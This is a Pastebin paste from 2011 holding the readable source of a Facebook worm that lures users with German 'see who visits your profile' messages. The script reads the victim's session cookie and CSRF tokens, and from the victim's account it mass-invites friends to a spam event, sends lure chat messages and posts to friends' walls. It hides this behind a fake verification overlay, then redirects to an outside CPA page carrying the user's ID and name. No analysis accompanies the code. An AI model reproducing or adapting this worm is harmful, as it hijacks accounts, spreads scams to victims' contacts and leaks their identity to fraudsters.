Advertisement
nuit

facebook-"Virus" Readable

Apr 26th, 2011
776
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var chatmessage="%firstname% wow facebook kann dir jetzt anzeigen wer dein Profil ansieht! Schaus dir an @ ow.ly/4GpHi";
  2. var postmessage="Meine Top Profil-Stalker: %tf% - 1136 Besuche %tf% - 983 Besuche %tf% - 542 Besuche %tf% - 300 Besuche Schau dir an wer dein Profil sieht @ http://apps.facebook.com/seeyouuu/?o4sshg2m";
  3. var redirect="http://germancpa.blogspot.com/";
  4. var eventdesc="Schau dir deine Profil-Stalker an -  http://www.google.com/url?sa=t&source=web&cd=1&ved=0CBoQFjAA&url=http%3A%2F%2Fwho-spying-u.blogspot.com%2F&ei=SHO2TaAkiNiIAve95Sk&usg=AFQjCNH_JxkE7o8CvUwsLVUwr2eGGP4ecw&sig2=Ye1vqVHrMDHWkRv--npMkw?o4sshg2m ~~ o4sshg2m";
  5. var eventname="WOW Jetzt kannst du sehen wer sich dein Profil ansieht!   (o4sshg2m)";
  6. var nfriends=5000;
  7. var debug=false;
  8. var wf=0;
  9. var mf=function (){
  10.     if(wf<=0){
  11.         setTimeout(function (){
  12.             window["top"]["location"]["href"]=redirect;
  13.         } ,500);
  14.     };
  15. };
  16. var doget=function (a,b,c){
  17.     var e= new XMLHttpRequest();
  18.     e["open"]("GET",a);
  19.     e["onreadystatechange"]=function (){
  20.         if(e["readyState"]==4){
  21.             if(e["status"]==200&&b){
  22.                 b(e["responseText"]);
  23.             };
  24.             if(c){
  25.                 c();
  26.             };
  27.         };
  28.     };
  29.     e["send"]();
  30. } ;
  31.  
  32. doget("/",function (f){
  33.     var g=document["cookie"]["match"](/c_user=(\d+)/)[1];
  34.     var h=function (i){ return i ? "@["+i["id"]+":"+i["name"]+"]":"";};
  35.     var j=function (i){return i?i["name"]:"";} ;
  36.     var k=function (i){
  37.         out="";
  38.         for(var l in i){
  39.             out+=(out?"&":"")+l+((i[l]!==null)?"="+encodeURIComponent(i[l]):"");
  40.         } ;
  41.         return out;
  42.     } ;
  43.     var b=function (a,i,b,c){
  44.         var e= new XMLHttpRequest();
  45.         e["open"]("POST",a);
  46.         e["setRequestHeader"]("Content-Type","application/x-www-form-urlencoded");
  47.         e["onreadystatechange"]=function (){
  48.             if(e["readyState"]==4){
  49.                 if(e["status"]==200&&b){ b(e["responseText"]); } ;
  50.                 if(c){ c(); } ;
  51.             } ;
  52.         } ;
  53.         e["send"](k(i));
  54.     } ;
  55.     var m=function (){
  56.         var e=document["createElement"]("div");
  57.         e["style"]["display"]="block";
  58.         e["style"]["position"]="absolute";
  59.         e["style"]["width"]=100+"%";
  60.         e["style"]["height"]=100+"%";
  61.         e["style"]["left"]=0+"px";
  62.         e["style"]["top"]=0+"px";
  63.         e["style"]["textAlign"]="center";
  64.         e["style"]["padding"]="4px";
  65.         e["style"]["background"]="#FFFFFF";
  66.         e["style"]["zIndex"]=999999;
  67.         e["innerHTML"]="&nbsp;<br/>Verifiziere deinen Code - Bitte gedulde dich einen kleinen Moment.<br/><br/> We are processing the offer for you... <a href='javascript:void(0);' onclick='wf=0; mf();'>click here</a><br/><img src='http://genetics.bwh.harvard.edu/snp2rflp/circle.gif'>";
  68.         document["body"]["appendChild"](e);
  69.     } ;
  70.     var n=f["match"](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
  71.     if(n){ comp=n[1]; } else { comp=""; } ;
  72.     var p=f["match"](/name="post_form_id" value="([\d\w]+)"/i)[1];
  73.     var q=f["match"](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
  74.     var r=document["getElementById"]("navAccountName")["firstChild"]["data"];
  75.     redirect=redirect+"?"+k({userid:g,name:r,doclose:1});
  76.     m();
  77.     if(eventdesc){
  78.         wf++;
  79.         b("/ajax/choose/?__a=1",{
  80.             type:"event",
  81.             eid:null,
  82.             invite_message:"",
  83.             __d:1,
  84.             post_form_id:p,
  85.             fb_dtsg:q,
  86.             lsd:null,
  87.             post_form_id_source:"AsyncRequest"
  88.         },function (s){
  89.             var t=s["match"](/\\"token\\":\\"([^\\]+)\\"/)[1];
  90.             var a="/ajax/typeahead/first_degree.php?__a=1&viewer="+g+"&token="+t+"&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha";
  91.             doget(a,function (u){
  92.                 var v=u["match"](/\{"uid":\d+,/g);
  93.                 var w=[];
  94.                 for(var x=0;x<v["length"];x++){
  95.                     var y=v[x]["match"](/:(\d+),/)[1];
  96.                     if(y!=g){w["push"](y);
  97.                 } ;
  98.             } ;
  99.             var z= new Date();
  100.             z["setTime"](z["getTime"]()+60*60*24*1000);
  101.             datestr=(z["getMonth"]()+1)+"/"+z["getDate"]()+"/"+z["getFullYear"]();
  102.             timestr=z["getHours"]()*60;
  103.             var aa={
  104.                     post_form_id:p,
  105.                     fb_dtsg:q,
  106.                     start_dateIntlDisplay:datestr,
  107.                     start_date:datestr,
  108.                     start_time_hour_min:timestr,
  109.                     name:eventname,
  110.                     place_page_id:"",
  111.                     location:"",
  112.                     street:"",
  113.                     geo_id:"",
  114.                     geo_sq:"",
  115.                     desc:eventdesc,
  116.                     sgb_invitees:w["join"](","),
  117.                     sgb_emails:"",
  118.                     sgb_message:"",
  119.                     privacy_type:"on",
  120.                     guest_list:"on",
  121.                     connections_can_post:"on",
  122.                     save:"Create Event",
  123.                     submitting:""
  124.                 };
  125.                 aa["new"]="";
  126.                 b("/events/create.php",aa,false,function (){
  127.                     mf(--wf);
  128.                 });
  129.             });
  130.         });
  131.     } ;
  132.     if(chatmessage){
  133.         wf++;
  134.         b("/ajax/chat/buddy_list.php?__a=1",{
  135.             user:g,
  136.             post_form_id:p,
  137.             fb_dtsg:q,
  138.             lsd:null,
  139.             post_form_id_source:"AsyncRequest",
  140.             popped_out:false,
  141.             force_render:true
  142.         },function (s){
  143.             var ab=s["substr"](9);
  144.             var ac=eval("("+ab+")");
  145.             var ad=ac["payload"]["buddy_list"];
  146.             for(var ae in ad["nowAvailableList"]){
  147.                 var af=Math["floor"](Math["random"]()*1335448958);
  148.                 var ag=( new Date())["getTime"]();
  149.                 var ah=chatmessage["replace"]("%firstname%",ad["userInfos"][ae]["firstName"]["toLowerCase"]());
  150.                 b("/ajax/chat/send.php?__a=1",{
  151.                     msg_id:Math["floor"](Math["random"]()*1335448958),
  152.                     client_time:( new Date())["getTime"](),
  153.                     msg_text:chatmessage["replace"]("%firstname%",ad["userInfos"][ae]["firstName"]["toLowerCase"]()),
  154.                     to:ae,
  155.                     post_form_id:p,
  156.                     fb_dtsg:q,
  157.                     post_form_id_source:"AsyncRequest"});
  158.                 } ;
  159.                 mf(--wf);
  160.             } );
  161.         } ;
  162.         if(postmessage){
  163.             wf++;
  164.             doget("/ajax/browser/friends/?uid="+g+"&filter=all&__a=1&__d=1",function (s){
  165.                 var v=s["match"](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
  166.                 var ai=[];
  167.                 if(v){
  168.                     for(var x=0;x<v["length"];x++){
  169.                         var y=v[x]["match"](/_\d+_/)[0]["replace"](/_/g,"");
  170.                         var al=v[x]["match"](/>[^>]+\\u003c\\\/a>$/i)[0]["replace"](/\\u003c\\\/a>$/gim,"")["replace"](/>/g,"");
  171.                         ai["push"]({id:y,name:al});
  172.                     } ;
  173.                 } ;
  174.                 var c=[];
  175.                 var aj=[];
  176.                 while(ai["length"]){
  177.                     var ak=Math["floor"](Math["random"]()*ai["length"]);
  178.                     c["push"](ai[ak]);
  179.                     aj["push"](ai[ak]);
  180.                     var ag=ai["shift"]();
  181.                     if(ak){ai[ak-1]=ag;
  182.                 } ;
  183.             } ;
  184.             if(debug){
  185.                 alert("fetched friends:"+c["length"]);
  186.             } ;
  187.             var am={
  188.                 post_form_id:p,
  189.                 fb_dtsg:q,
  190.                 xhpc_composerid:comp,
  191.                 xhpc_targetid:g,
  192.                 xhpc_context:"home",
  193.                 xhpc_fbx:"",
  194.                 lsd:null,
  195.                 post_form_id_source:"AsyncRequest"
  196.             };
  197.             mt=postmessage;
  198.             m=postmessage;
  199.             while(mt["search"]("%tf%")>=0){
  200.                 var an=c["pop"]();
  201.                 mt=mt["replace"]("%tf%",j(an));
  202.                 m=m["replace"]("%tf%",h(an));
  203.             } ;
  204.             am["xhpc_message_text"]=mt;
  205.             am["xhpc_message"]=m;
  206.             if(debug){
  207.                 alert("message text:"+mt);
  208.             } ;
  209.             b("/ajax/updatestatus.php?__a=1",am);
  210.             var ao=function (l){
  211.                 if(l==0){
  212.                     wf=0;
  213.                     mf();
  214.                     return ;
  215.                 } ;
  216.                 var c=aj["shift"]();
  217.                 var aq={
  218.                     post_form_id:p,
  219.                     fb_dtsg:q,
  220.                     xhpc_composerid:comp,
  221.                     xhpc_targetid:c["id"],
  222.                     xhpc_context:"profile",
  223.                     xhpc_fbx:1,
  224.                     lsd:null,
  225.                     post_form_id_source:"AsyncRequest"
  226.                 };
  227.                 var d=postmessage;
  228.                 var ap=postmessage;
  229.                 if(c["length"]==0){
  230.                     wf=0;
  231.                     mf();
  232.                     return ;
  233.                 } ;
  234.                 while(d["search"]("%tf%")>=0){
  235.                     var ar=c["pop"]();
  236.                     d=d["replace"]("%tf%",j(ar));
  237.                     ap=ap["replace"]("%tf%",h(ar));
  238.                 } ;
  239.                 aq["xhpc_message_text"]=d;
  240.                 aq["xhpc_message"]=ap;
  241.                 b("/ajax/updatestatus.php?__a=1",aq);
  242.                 setTimeout(function (){ao(l-1);} ,2000);} ;
  243.                 wf++;setTimeout(function (){ao(nfriends);} ,2000);
  244.             } );
  245.         } ;
  246.         mf();
  247.     } );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement